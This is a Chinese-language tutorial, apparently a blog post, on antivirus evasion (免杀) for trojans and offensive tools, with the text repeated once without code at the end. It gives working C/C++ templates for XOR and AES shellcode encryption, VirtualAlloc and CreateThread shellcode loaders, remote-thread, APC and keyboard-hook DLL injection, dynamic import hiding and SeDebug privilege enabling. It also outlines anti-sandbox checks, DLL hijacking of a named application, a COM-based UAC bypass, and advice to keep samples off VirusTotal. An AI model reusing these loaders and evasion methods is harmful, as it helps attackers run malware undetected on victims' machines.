免杀杂谈
字数 1439 2025-08-18 11:35:30

免杀技术全面指南

一、免杀概述

免杀技术是指通过各种手段使恶意程序绕过杀毒软件的检测。免杀的目的不一定是让所有杀毒软件都无法检测,而是针对特定目标机器使其无法检测。

免杀分类

1. 从需求方面

  • 木马免杀
  • 权限维持免杀
  • 工具免杀
  • 其他免杀

2. 从免杀阶段方面

  • 静态免杀
  • 动态免杀:
    • 执行免杀
    • 内存免杀
    • 行为免杀
  • 流量免杀

3. 从payload加载方面

  • 本体免杀:可执行程序直接运行,payload写死在程序中
  • 分离免杀:制作加载器,分离加载器和载荷
  • 白加黑免杀:白程序+黑DLL的加载方式
  • DLL相关:各种DLL加载方式(远线程、全局钩子、HOOK、劫持)
  • webshell免杀:通过变形、加密、混淆等手段

4. 从编程语言方面

  • C/C++:速度快,文件小,功能多
  • Python:新手友好,但编译后文件大
  • Go:速度快,简单,支持各种库
  • Java:主要用于webshell免杀
  • C#:常见,可在CS中使用execute-assembly直接加载
  • PHP:主要用于webshell免杀
  • 其他语言:Rust、Nimlang、Ruby等

二、载荷编码加密与对抗

1. 异或编码(C语言示例)

unsigned char buf[] = "shellcode";
int password = 1025;
unsigned char enShellCode[50000];
unsigned char deShellCode[50000];
int nLen = sizeof(buf) - 1;

// 加密
for (int i = 0; i < nLen; i++) {
    enShellCode[i] = buf[i] ^ password;
    printf("\\x%x", enShellCode[i]);
}

// 解密
for (int i = 0; i < nLen; i++) {
    deShellCode[i] = enShellCode[i] ^ password;
    printf("\\x%x", deShellCode[i]);
}

2. AES加密(C语言示例)

void aes_encrypt(const unsigned char *plaintext, int plaintext_len, 
                const unsigned char *key, unsigned char *ciphertext) {
    AES_KEY aes_key;
    AES_set_encrypt_key(key, 128, &aes_key);
    int num_blocks = plaintext_len / BLOCK_SIZE + (plaintext_len % BLOCK_SIZE == 0 ? 0 : 1);
    unsigned char block[BLOCK_SIZE];
    for (int i = 0; i < num_blocks; i++) {
        int j;
        for (j = 0; j < BLOCK_SIZE && i * BLOCK_SIZE + j < plaintext_len; j++) {
            block[j] = plaintext[i * BLOCK_SIZE + j];
        }
        for (; j < BLOCK_SIZE; j++) {
            block[j] = '\0';
        }
        AES_encrypt(block, &ciphertext[i * BLOCK_SIZE], &aes_key);
    }
}

void aes_decrypt(const unsigned char *ciphertext, int ciphertext_len, 
                const unsigned char *key, unsigned char *plaintext) {
    AES_KEY aes_key;
    AES_set_decrypt_key(key, 128, &aes_key);
    int num_blocks = ciphertext_len / BLOCK_SIZE + (ciphertext_len % BLOCK_SIZE == 0 ? 0 : 1);
    unsigned char block[BLOCK_SIZE];
    for (int i = 0; i < num_blocks; i++) {
        AES_decrypt(&ciphertext[i * BLOCK_SIZE], block, &aes_key);
        int j;
        for (j = 0; j < BLOCK_SIZE && i * BLOCK_SIZE + j < ciphertext_len; j++) {
            plaintext[i * BLOCK_SIZE + j] = block[j];
        }
    }
}

三、分离载荷技术

1. 本地载荷读取(C语言)

// 读取文件
char* buf = (char*)malloc(926 + 1);
HANDLE openinfile = CreateFileA("aaa.txt",GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
int size = GetFileSize(openinfile, NULL);
DWORD lpNumberOfBytesRead = 0;
BOOL rfile = ReadFile(openinfile, buf, size, &lpNumberOfBytesRead, NULL);

// 写入文件
HANDLE hFile = CreateFile(L"aaa.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD lpNumberOFBytesWrite = 0;
BOOL wfile = WriteFile(hFile, buf, size, &lpNumberOFBytesWrite, NULL);

2. 远程shellcode读取

主要结构:

  1. 解析路径,分析端口、资源文件、协议
  2. 远程拉取文件读取进内存
  3. 分配内存远程线程注入或开进程注入

HTTP请求示例:

WinHttpOpen
WinHttpOpenRequest
WinHttpSendRequest
WinHttpReceiveResponse

3. 读取注册表

#include <stdio.h>
#include <windows.h>

int main() {
    HKEY hKey;
    char value[255];
    DWORD bufSize = sizeof(value);

    if (RegOpenKeyEx(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion", 
                    0, KEY_READ, &hKey) == ERROR_SUCCESS) {
        if (RegGetValue(hKey, NULL, "ProductName", RRF_RT_REG_SZ, NULL, 
                        value, &bufSize) == ERROR_SUCCESS) {
            printf("Product Name: %s\n", value);
        } else {
            printf("Failed to read registry value.\n");
        }
        RegCloseKey(hKey);
    } else {
        printf("Failed to open registry key.\n");
    }
    return 0;
}

四、加载器入口点技术

1. VirtualAlloc直接加载

#include <stdio.h>
#include <windows.h>
using namespace std;
int main() {
    char shellcode[] = "shellcode";
    LPVOID lpAlloc = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(lpAlloc, shellcode, sizeof shellcode);
    ((void(*)())lpAlloc)();
    return 0;
}

2. 创建线程运行

void* exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof(buf));
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);

3. 远程线程加载

targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
remoteBuffer = VirtualAllocEx(targetProcessHandle, NULL, sizeof shellcode, 
                             (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(targetProcessHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);

4. APC注入

for (DWORD threadId : threadIds) {
    threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
    QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
    Sleep(1000 * 2);
}

5. HOOK键盘SetWindowHookEx代码注入

HMODULE library = LoadLibraryA("Dll1.dll");
HOOKPROC hookProc = (HOOKPROC)GetProcAddress(library, "spotlessExport");
HHOOK hook = SetWindowsHookEx(WH_KEYBOARD, hookProc, library, 0);
Sleep(10 * 1000);
UnhookWindowsHookEx(hook);

DLL中代码:

extern "C" __declspec(dllexport) int spotlessExport() {
    unsigned char shellcode[] = "";
    void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof shellcode);
    ((void(*)())exec)();
}

五、其他技术

1. Bypass导入表(动态导入表)

typedef LPVOID(WINAPI* ImportVirtualAlloc)(
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD  flAllocationType,
    DWORD  flProtect
    );
ImportVirtualAlloc MyVirtualAlloc = (ImportVirtualAlloc)GetProcAddress(
    GetModuleHandle(TEXT("kernel32.dll")), "VirtualAlloc");

2. 获取进程令牌权限

HANDLE hToken;
TOKEN_PRIVILEGES TokenPrivileges;
BOOL bResult;

bResult = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
bResult = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &TokenPrivileges.Privileges[0].Luid);
TokenPrivileges.PrivilegeCount = 1;
TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
bResult = AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, 
                              sizeof(TOKEN_PRIVILEGES), NULL, NULL);

3. 判断当前权限

#include <ShlObj.h>
#include <tchar.h>

int _tmain() {
    BOOL bIsAdmin = IsUserAnAdmin();
    if (bIsAdmin)
        _tprintf_s(_T("Run As administrator"));
    else
        _tprintf_s(_T("Run As user"));
    system("pause");
    return 0;
}

4. 反沙箱技术

  • 读取注册表
  • 判断CPU、内存等硬件信息
  • 检测进程
  • 延时执行

六、白加黑技术

白加黑技术是指利用合法的白程序加载恶意的黑DLL执行。

白加黑分类

  1. 加载不存在的DLL

    • 利用LoadLibrary或LoadLibraryEx API
    • DLL不需要任何导出函数即可被加载
  2. 加载存在的DLL

    • 替换或劫持系统已有的DLL

DLL加载顺序

  1. EXE所在目录
  2. 当前目录(GetCurrentDirectory())
  3. 系统目录(GetSystemDirectory())
  4. WINDOWS目录(GetWindowsDirectory())
  5. 环境变量PATH包含的目录

示例:Obsidian的DLL劫持

  1. 找到需要LoadLibrary的DLL
  2. 编写恶意DLL放到和程序同目录
  3. 运行程序自动调用恶意DLL

七、工具免杀

  1. 将可执行文件转换为shellcode再加载
  2. 对于fscan、frp等工具:
    • 修改流量特征
    • 修改运行参数
    • 行为免杀

八、其他功能

Bypass UAC

通过允许的应用程序提升权限激活COM类,使用ICMLuaUtil的ShellExec创建进程。

允许的进程包括:

  • 记事本
  • 计算器
  • 资源管理器
  • rundll32.exe

九、注意事项

  1. 不同语言编译有不同的参数命令,影响免杀效果
  2. 了解主要杀毒软件的规则
  3. 测试时断网
  4. 不要直接将样本上传到VirusTotal

总结

免杀技术主要围绕分离免杀和加载器设计,结合编码混淆技术。APT组织常用多层调用和分段加密技术,使取证分析更加困难。建议深入研究调试技术,而不仅仅是编译运行现有项目。

免杀技术全面指南 一、免杀概述 免杀技术是指通过各种手段使恶意程序绕过杀毒软件的检测。免杀的目的不一定是让所有杀毒软件都无法检测,而是针对特定目标机器使其无法检测。 免杀分类 1. 从需求方面 木马免杀 权限维持免杀 工具免杀 其他免杀 2. 从免杀阶段方面 静态免杀 动态免杀: 执行免杀 内存免杀 行为免杀 流量免杀 3. 从payload加载方面 本体免杀:可执行程序直接运行,payload写死在程序中 分离免杀:制作加载器,分离加载器和载荷 白加黑免杀:白程序+黑DLL的加载方式 DLL相关:各种DLL加载方式(远线程、全局钩子、HOOK、劫持) webshell免杀:通过变形、加密、混淆等手段 4. 从编程语言方面 C/C++:速度快,文件小,功能多 Python:新手友好,但编译后文件大 Go:速度快,简单,支持各种库 Java:主要用于webshell免杀 C#:常见,可在CS中使用execute-assembly直接加载 PHP:主要用于webshell免杀 其他语言:Rust、Nimlang、Ruby等 二、载荷编码加密与对抗 1. 异或编码(C语言示例) 2. AES加密(C语言示例) 三、分离载荷技术 1. 本地载荷读取(C语言) 2. 远程shellcode读取 主要结构: 解析路径,分析端口、资源文件、协议 远程拉取文件读取进内存 分配内存远程线程注入或开进程注入 HTTP请求示例: 3. 读取注册表 四、加载器入口点技术 1. VirtualAlloc直接加载 2. 创建线程运行 3. 远程线程加载 4. APC注入 5. HOOK键盘SetWindowHookEx代码注入 DLL中代码: 五、其他技术 1. Bypass导入表(动态导入表) 2. 获取进程令牌权限 3. 判断当前权限 4. 反沙箱技术 读取注册表 判断CPU、内存等硬件信息 检测进程 延时执行 六、白加黑技术 白加黑技术是指利用合法的白程序加载恶意的黑DLL执行。 白加黑分类 加载不存在的DLL 利用LoadLibrary或LoadLibraryEx API DLL不需要任何导出函数即可被加载 加载存在的DLL 替换或劫持系统已有的DLL DLL加载顺序 EXE所在目录 当前目录(GetCurrentDirectory()) 系统目录(GetSystemDirectory()) WINDOWS目录(GetWindowsDirectory()) 环境变量PATH包含的目录 示例:Obsidian的DLL劫持 找到需要LoadLibrary的DLL 编写恶意DLL放到和程序同目录 运行程序自动调用恶意DLL 七、工具免杀 将可执行文件转换为shellcode再加载 对于fscan、frp等工具: 修改流量特征 修改运行参数 行为免杀 八、其他功能 Bypass UAC 通过允许的应用程序提升权限激活COM类,使用ICMLuaUtil的ShellExec创建进程。 允许的进程包括: 记事本 计算器 资源管理器 rundll32.exe 九、注意事项 不同语言编译有不同的参数命令,影响免杀效果 了解主要杀毒软件的规则 测试时断网 不要直接将样本上传到VirusTotal 总结 免杀技术主要围绕分离免杀和加载器设计,结合编码混淆技术。APT组织常用多层调用和分段加密技术,使取证分析更加困难。建议深入研究调试技术,而不仅仅是编译运行现有项目。